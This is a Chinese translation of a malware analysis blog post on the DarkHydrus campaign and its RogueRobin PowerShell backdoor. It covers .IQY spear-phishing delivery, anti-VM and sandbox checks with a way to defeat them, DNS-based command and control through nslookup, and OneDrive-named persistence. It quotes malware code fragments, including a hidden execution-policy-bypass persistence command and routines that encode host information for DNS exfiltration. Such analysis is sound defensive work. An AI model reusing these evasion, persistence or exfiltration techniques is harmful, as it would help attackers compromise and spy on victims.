本文翻译自:https://0ffset.wordpress.com/2018/08/03/post-0x15-darkhydrus/


研究人员发现一起使用powershell恶意软件攻击中东地区的攻击活动,Unit 42的研究人员将攻击活动命名为DarkHydrus。本文对其进行分析:

MD5:

.iqy:        377cfd5b9aad2473d1659a5dbad01d90
    Downloader:  bd764192e951b5afd56870d2084bccfd
    Final Stage: 953a753dd4944c9a2b9876b090bf7c00

DarkHydrus使用含有密码保护的.RAR文件的鱼叉式钓鱼邮件来感染目标。.RAR文件含有一个含有URL的.IQY文件,IQY文件是Excel Internet Query file。默认情况下,当Excel打开并执行IQY文件后,Excel会从IQY中的URL处提取内容,直到出现弹窗告警为止。下面先看一下IQY文件:

当IQY文件执行时,Excel会从url的web服务器上获取一个releasenotes.txt文件。下面看一下IQY文件执行时的动态分析:

在文件执行时,Excel会弹出运行iqy文件可能会存在的安全威胁告警消息,点击Enable(开启)后才可以继续运行。

然后会弹出一个执行cmd.exe的安全警告。点击yes后,会创建cmd.exe,然后运行Powershell.exe进程。然后看一下releasenotes.txt的内容:

命令保存在A0中,由Excel执行。命令执行后会从micrrosoft/winupdate.ps1下载一个字符串,并由IEX执行。所以Powershell命令应该是stage 2的真实payload。

winupdate.ps1中的数据是经过压缩和base 64编码的,所用的方法与Emotet downloader一样。

因为用的是同样的powershell混淆方法,因此可以用下图中的python脚本进行解编码和解压缩payload。

从文档中我们可以看到VBox、VirtualBox、Qemu这样的关键字,这是恶意软件防止被分析的一种方法。DNS通信基于下面的queryTypes变量:
"A", "AAAA", "AC", "CNAME", "MX", "TXT", "SRV", "SOA";

在分析C2协议前,研究人员找出了恶意软件使用的反分析方法,保存在Sandbox()函数中:

反分析方法

恶意软件嵌入的反分析方法包括:

样本使用WMI来找出SMBIOSBIOSVersion,如果与VBOX、bochs、qemu、VirtualBox、VM任何一个关键字匹配,恶意软件就会打印Virtual Machine Founded,然后结束运行。如果与上面的关键字不匹配,就检查Manufacturer与XEN是否匹配。如果匹配,打印Virtual Machine Founded,然后结束运行。然后查询总的物理内存,如果小于硬编码的内存大小限制(2900000000),就退出运行。如果所有检查都通过,并且匹配,恶意软件会继续检查处理器内核数,确保数量大于1。因为在虚拟机内分析时,一般分配的处理器数就是1,而且沙箱一般也只用一个处理器。如果没有其他关于虚拟机的暗示,恶意软件会运行Wireshark和Sysinternals来检查运行的进程。如果匹配,就退出运行。

所以,怎么绕过这些检查呢?其实非常容易。上图是用Powershell提出的Win32_Bios信息,里面有两个关键的信息,SMBIOSBIOSVersion和Version。因为恶意软件会检查SMBIOSBIOSVersion信息,所以就要改变它。用mofcomp.exe对Managed Object Format (MOF)文件进行分析,就可以改变的Win32_Bios值,所以当恶意软件去提取SMBIOSBIOSVersion信息时,就不会匹配为虚拟机了。

将上图中的信息复制并保存为.mof文件,保存到桌面。为了改变这些信息,需要admin管理员权限,以管理员权限运行powershell。运行mofcomp.exe,就可以看到和上图一样的输出结果了。

还添加了其他的信息,manufacturer被修改为Sony,SMBIOSBIOSVersion被修改为Legit_PC。MOF文件中Version的没有变化,这看起来像个GUID,而不是VBOX。

当在Sandbox函数中运行同样的Powershell命令时,就可以看到不匹配任何虚拟机信息。

$result = Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem" | Out-String
$result = [regex]::Match($result,"TotalPhysicalMemory : (\d+)")
$memory = $result.Groups[1].Value
if ([int64]$memory -lt [int64]$memorySizeLimit) {
    exit
}

为了绕过其他的分分析方法,还要分配更多的RAM给虚拟机,确保大小超过2.9GB。处理器内核至少要2个,如果是1个的话,恶意软件就会退出。最后,确保恶意软件执行时不必要运行Wireshark或Sysinternals软件,否则,恶意软件也会退出。

通信方法

看起来,query()函数好像是负责与C2服务器通过新。另外,攻击者好像是使用DNS来进行通信,因为nslookup.exe也在url列表中。为了确认query()函数需要的参数的意义,研究人员分析了函数test()中的query()调用过程:

foreach ($t in $Global:queryTypes) {
    if ($Global:id.Length -ge 1) {
        $response = query -query $Global:id -type $t -test $true -change_mode $false
    }
    else {
        $response = query -query $PID -type $t -test $true -change_mode $false
    }

代码在for循环中,一共运行8次,这是根据queryTypes变量中保存的查询类型数决定的。$t表示当前查询的类型。If语句用来检查变量id的长度是否大于等于1,如果大于等于1,就将id作为函数的第一个参数传递给函数。否则,程序会传递当前pid作为第一个参数。第二个参数$t表示当前查询的类型。如果函数在第一个循环中就被调用,$t就等于A,如果是第二个循环,$t就等于AAAA,……以此类推。第三个参数query()表示执行函数来测试连接。最后,change_mode表示是否改变DNS查询通信方法,使用的roundRobin函数。

变量 $Parameters是根据通信方法、域名、使用的服务器、ID、PID来填充的。然后使用iex来调用nslookup.exe,传递变量$parameters作为参数。然后程序会检查命令运行的结果以检查连接是否成功。在输出的结果中会检查canonical name、mx、nameserver、mailserver、address。如果匹配,变量$check会被设置为true,否则设置为false或函数返回cancel值。如果一切正常,函数会返回nslookup的输出,如果失败,返回false。

如果连接成功,返回的值也不等于false,id的长度小于1,恶意软件就将查询类型保存在$t中作为默认通信查询方法。然后,恶意软件会尝试生成id,保存在变量id中。如果第一个查询类型失败了,可以软件会循环查询后面的方法。如果id长度仍然小于1,程序会休眠变量$waiting传递的时间,然后重新调用test(),第二次休眠的时间为$waiting乘以2。最开始的时间,test函数会检查$waiting的值,如果大于7200,程序会因为无法连接C2服务器而退出运行。也就是说test()函数在退出前会运行6个循环。

知道了test函数决定的是查询的类型后,下面看一下roundRobin函数:

roundRobin函数好像是恶意软件RogueRobin命名的来源。在query()函数调用中,RoundRobin会被调用,域名列表是第一个参数,当前域名在程序执行时位于位置0。使用这些参数,当$current$list中时,RoundRobin可以得到$index。当$index大于等于列表的大小时,$index会被设为0。最后,RoundRobin会返回$list[$index],变量保存在Global:domain中。函数会在硬编码的域名中重复,但如果变量$change_mode是true,就在DNS查询模式中重复:

if ($change_mode) {
    $Global:mode = roundRobin -list $Global:queryTypes -current $Global:mode
}

驻留机制

下面分析恶意软件的驻留机制:

首先,程序会检查全局变量hasstartup是否等于1,如果等于1,开始startup方法。否则程序就按正常程序执行。写入变量$command中的数据就是原始payload的副本,唯一的区别就是删除的驻留机制,删除的目的是为了预防同时有多个恶意软件实例运行。一旦数据写入$command,就会创建一个文件 %APPDATA%\OneDrive.bat。写入的值为:

powershell.exe -WindowStyle Hidden -exec bypass -File "%APPDATA%\OneDrive.ps1"

这一行代码写入.BAT文件后,恶意软件会把数据写入$command中,并传递给%APPDATA%\OneDrive.ps1。最后,会在开始菜单文件夹中创建一个OneDrive.lnk文件,该快捷方式文件含有一个到%APPDATA%\OneDrive.bat的快捷方式。然后保存快捷方式,程序会检查运行的Windows版本来继续执行。者看起来是指向Windows 7目标主机的,这也是恶意软件检查的目的。

然后研究人员对myInfo()函数进行了分析,myInfo()函数负责收集和格式化这些信息,并发送给C2服务器:

然后数据与hasGarbage、hasstartup、hybdrid、sleep、jitter这些全局变量转化为长字符串。Jitter负责sleep机制,值是20。HasStartup含有与驻留相关的信息,hasGarbage负责决定是否在通信中加入垃圾数据。最后,hybdrid表示是否用RoundRobin函数来改变DNS查询方法。然后会返回形成的长字符串,调用myInfo会使用数据:

test
$ut8 = [System.Text.Encoding]::UTF8.GetBytes((myInfo))
$b64 = [System.Convert]::ToBase64String($ut8)
spliting -data $b64 -b64 $false -jobID '1' | Out-Null

在test函数被调用后,恶意软件会执行myInfo函数,然后将返回的数据进行base64编码,然后传递给spliting函数。然后用spliting函数对数据进行格式化,并用query -query $queryData发送,$queryData含有格式化的数据和其他相关信息。在分析了其他对spliting的调用后,研究人员发现这是负责调用query和发送收集的信息和命令输出的函数。函数gettingJobs()会查询C2服务器请求命令。

下面是RogueRobin中的命令变量列表:

攻击者可以上传和下载文件,从system、screenshort、import模块,显示恶意软件的当前配置。slp:\d+负责设置与C2服务器通信的sleep timer时间间隔,slpx:\d+负责设置发送DNS请求的sleep timer时间间隔,testmode执行test函数,选择与第一个web服务器进行通信,command允许攻击者用iex执行系统上的命令,并发送执行的结果给攻击者。

从执行的命令来看,程序还可以截图:

if ($command -match '^\$screenshot'){
    iex $command
    continue;

脚本会执行$screenshot中的命令,攻击者必须用importModule命令或fileUpload命令来完成截图机制。

总结

下面是对恶意软件功能的总结:

IOC

源链接

Hacking more

...